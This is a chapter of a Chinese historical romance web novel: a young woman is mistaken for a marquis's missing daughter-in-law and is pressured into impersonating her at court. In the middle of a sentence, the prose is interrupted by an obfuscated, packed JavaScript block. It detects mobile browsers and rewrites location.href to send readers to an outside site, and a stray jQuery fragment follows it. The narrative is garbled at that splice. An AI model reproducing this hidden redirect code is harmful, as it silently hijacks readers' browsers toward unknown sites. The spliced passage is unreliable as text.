“我的孩,这两日究竟去了何处?怎弄得如此狼狈?”
沈清梧是被五个侍女搀扶着进入正堂的,刚一进门,便被侯府的富丽堂皇迷了眼。
她坐的是金丝楠木雕花软塌,背后垫的是苏州双面异色绣靠枕,脚下踩的是西域贡的驼绒毡。
如果此时那位端坐在紫檀圈椅像菩萨一样的夫人问问她这些物什的来历、技法、年份如何,她或许还能说出个一二三四。
但是现在,她只能低着头,迟迟不语。
她怎么就成了永安侯府的世子妃?
这和计划中的完、全、不、一、样!
见儿媳似有不安,永安侯夫人起身靠近,执起她的手,却发现本该白皙的手腕有一道道明显被绳子勒过的痕迹。
夫人倒吸一口气,语气中既心疼又有几分怒意:“是谁?是谁竟然敢绑架永安侯府的世子妃,真是吃了豹子胆了!”
“回夫人的话,我不是世子妃……你们认错人了。”
沈清梧思考再三,还是觉得不要和侯府这种皇亲国戚扯上关系。
她认真说完这句话后,却发现周围的人都忍不住笑了出来。
真是奇怪……
这句话哪里好笑了?
“你看看,这小丫头,又和在我说胡话了!我知道你生淮之的气,可是夫妻之间哪有隔夜仇,你离开的这几日,淮之日日夜夜茶饭不思,人都憔悴了许多。”
沈清梧本想继续解释清楚,但转念一想,如今社会实在险恶,她孤身一人前脚刚出沈家,人还未到清河坊,后脚竟然被亲戚卖给人贩子拐到了京城。且不说在京城人生地不熟,她现在但凡一只脚跨出侯府的大门,下一秒可能又会被那群人绑走。
不如先在侯府待一段时间,等对周边熟悉了再走不迟。
这样想着,沈清梧默默闭上了嘴。
“罢了罢了,你性子弱,自打进府来,也不爱说话。这次你在外面定是受了委屈……等你什么时候想说了,再和娘亲说,娘必定给你讨回个公道!”说着,招呼左右的人,“你们,先去给世子妃梳洗一下。她也乏了,让她好好休息吧。”
“是,夫人。”说着,五六个丫鬟便拥着沈清梧踏入浴房。
白茫茫的雾气裹着沉水香扑面而来,沈清梧在马车里被捆了一天一夜,确实是乏了,闻到这样的味道,她感觉每一个毛孔都张开了。
她伸手试了试水温,感觉正合适,于是道:“你们退下吧,我一个人就好。”
说罢,正打算关上浴房的门,却发现没有人有离开的意思,反而一个个面露难色。
“怎么了?”
那五个丫鬟突然齐齐跪下:“夫人刚刚吩咐了,让我们好好伺候世子妃,还请世子妃不要为难我们!”
“这……”沈清梧不习惯人伺候,之前在沈府,像洗漱这样私密的事情,她皆是一个人。
见那几个丫鬟慢慢靠近,沈清梧立马下意识攥紧衣襟,却被为首的鹅蛋脸丫鬟按住手腕:“世子妃莫怕,请让我们服侍您。”
接着,几双手忽然从不同方向伸来。有人解她腰间绦带,有人摘她耳坠,还有两双柔荑探向中衣系带。
…………
沈清梧第一次屈服在这样的温软中,满脸通红地沐浴更衣。
更衣毕,又被按在黄花梨梳妆台前。
螺钿妆奁层层展开,丫鬟捧着鎏金香膏要为她敷面。
一个圆脸小丫鬟用银镊子夹起一片金箔花钿:“夫人特意嘱咐,今日世子妃要梳朝云近香髻。”
沈清梧有些毛骨悚然,这侯府夫人怎么连世子妃梳什么发型都要管。
她瞥见铜镜中那张粉妆玉砌得不再像自己的脸,突然觉得还是应该把一切都说明白。
“夫人现在在哪?”沈清梧问道。
丫鬟看了看外面的太阳:“这个时候,夫人想必在佛堂诵经呢。”
沈清梧隐晦打听到佛堂之处,快步走了过去。
推开门,便看到永安侯夫人跪坐在蒲团上,低头轻诵,一手盘着腕间的沉香佛珠。
佛龛中金身观音低眉垂目,手执净瓶的指尖凝着一滴翡翠玉露。
沈清梧攥紧袖口:“夫人,其实我并非——”
永安侯夫人并未回头,依旧轻声诵经。
沈清梧向前一步:“夫人恕罪,民女并非世子妃,这一切都是误会。”
永安侯夫人突然轻笑,指尖拂过经卷:“清梧,我的好孩子,你怎么会不是世子妃呢?”
沈清梧猛然一惊,她怎知我的名字?
夫人缓缓起身:“你今日踏进了侯府的门,就算不是,也得是,你明白了吗?”
沈清梧不解地看着她。
永安侯夫人轻点沈清梧紧皱的眉心:“瞧瞧,你梳这个发髻多像她啊,要是眉头再舒展一点就好了。”说着,手又轻轻抚过她的脸,“一个月后是太后寿宴,太后她老人家最是喜欢你,指名要见你,届时可不要丢了侯府的脸面。”
“寿宴之后,你想去哪,我自不会阻拦。只是这段时间,你只能是永安侯府的世子妃。”
事情似乎已经远远超出了她的预料,她一开始不过是想借用侯府逃命,可谁知刚出虎口,又入狼穴,这侯府的水比她想得要深很多。
她要跑路。
“清梧,恐无法从命。”
似乎知道她会这样回答,永安侯夫人声音渐冷:“我记得太后寿宴上可是要了一批沈府的扇子,若是你走了,我可不能确保那批扇子……”
沈清梧身体一紧,沈家其实已经和她没有关系了,但是如果那批扇子出了问题,沈家大大小小都难逃一死。她或许不在意她那二叔,但是那些工人、小厮、丫鬟是无辜的。
“你记住,这件事,是你我之间的秘密,任何人都不能知道,包括淮之。”
沈清梧欲言又止:“我……”
这时,门外丫鬟忽然喊道:“夫人,世子回来了,可以用午膳了。”
永安侯夫人笑着挽起沈清梧僵硬的手:“走,带你见见你的夫君。他这几天为了找你,可是带着侍卫把护城河都筛了几遍!”
膳厅内,紫檀木圆桌上摆着十二道青瓷盘盏。
沈清梧垂眸盯着碗沿描金的缠枝莲纹,忽听珠帘轻响,只见一道颀长身影踏入厅内。
顾淮之身着月白云纹锦袍,手执一把玉竹折扇,步履匆匆。
他对着永安侯夫人浅浅躬了个身:“儿子给母亲请安。”
接着目光转向沈清梧时却微微一滞,长睫轻颤,“给娘子请罪了,娘子……可还恼我?”
他上前几步,嘴唇几乎快贴上沈清梧的耳垂:“娘子,这些天我找得你好苦,听侍卫说你回来了,我就立马从城外赶回来了。”
沈清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168725|165134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梧连忙退后几步拉开距离,却不小心对上他的视线,才发现这世子生得神仪明秀,极为高贵。
鼻梁似远山脊线般高挺,喉结突出如雪原孤峰。
她突然想起那日马车内两人编排世子的话,耳尖泛起薄红。
从这个长相来看,似乎,这世子不像他们所说的那么不堪。
“瞧瞧,淮之何时这般低声下气过?我看你这次便饶过他吧。”永安侯夫人说道,“不过淮之,你日后真得改改了,那鸣翠坊是你该去的地方吗?”
鸣翠坊?
怎么这么巧,都和这鸣翠坊有关系。
不过她似乎猜到了这世子妃是为什么要离家出走,想必是这风流世子去鸣翠坊找姑娘被夫人发现了,两人起了争执。
呵,果然不论什么时候,男人都是狗改不了吃屎的东西。
沈清梧立马恢复了理智。
她不知世子妃是何性格,但是想起之前夫人说的“她性子弱”,想必平日里应该是温温柔柔的,于是轻声道:“下不为例。”
“好了好了,看到你们夫妻俩和好,我的心也放下了。”永安侯夫人笑道,“淮之,快扶你夫人坐下用膳吧,今日的菜特地都做了你们爱吃的。”
“是,母亲。”
沈清梧在顾淮之的搀扶下坐了下来,望着满桌珍馐,却吃不下饭。
“怎么了,娘子,是这菜不合胃口吗?”
沈清梧摇了摇头,捏着银筷的指尖发紧。
她的对面是一位伪善的侯府夫人,旁边是一个素不相识的陌生男子,而她自己还是假扮他人,自然是没有胃口。
“来,尝尝这鱼。”顾淮之夹起雪白的鱼肉,搁进她碗中,“太湖的白鱼,最是新鲜的东西,正是这个时节吃。”
沈清梧出身金陵,自然是喜欢这些。她尝了一口,确实地道,不比在金陵吃得差,于是又夹了几筷。
顾淮之看着她,嘴角不自觉地勾出一丝弧度。
“还有一个月就是太后寿宴了,这一个月你们俩要安分守己,可不许再给我出差错了。”
快吃完的时候,永安侯夫人又说起了这话,沈清梧明显感受到她的目光往自己这边来了。
于是放下筷子:“是,母亲。”
“好了,也差不多了,你俩快回屋歇着吧,两个人都累了这几天。”
午后的日光透过雕花槛窗,在青砖地上烙下菱花纹影。
沈清梧跟在顾淮之身后穿过九曲回廊,刻意将步子放得轻缓,与他保持距离。
廊外几株垂丝海棠开得正盛,花瓣被风卷着扑到顾淮之月白锦袍上,他广袖一拂,落红便簌簌坠入廊边莲缸,惊得缸中锦鲤甩尾游开。
沈清梧的目光被那几尾锦鲤吸引,她平素最喜欢看这些东西。
“娘子喜欢这锦鲤?”顾淮之垂首问道。
“嗯。”沈清梧点点头。
“今日那太湖白鱼似乎很合娘子的胃口,下次我再让厨房做给娘子吃。”
“有劳世子了。”
说话间,一瓣朱砂色的花恰巧落在沈清梧云鬓间。
她本想伸手摘取,却被顾淮之手上的玉骨折扇抵住。
"别动,让我来。"
指尖掠过发间,沈清梧感受到一阵凉意。
耳边是顾淮之若有似无的一声叹息:“娘子,我记得你以前可不爱吃鱼。”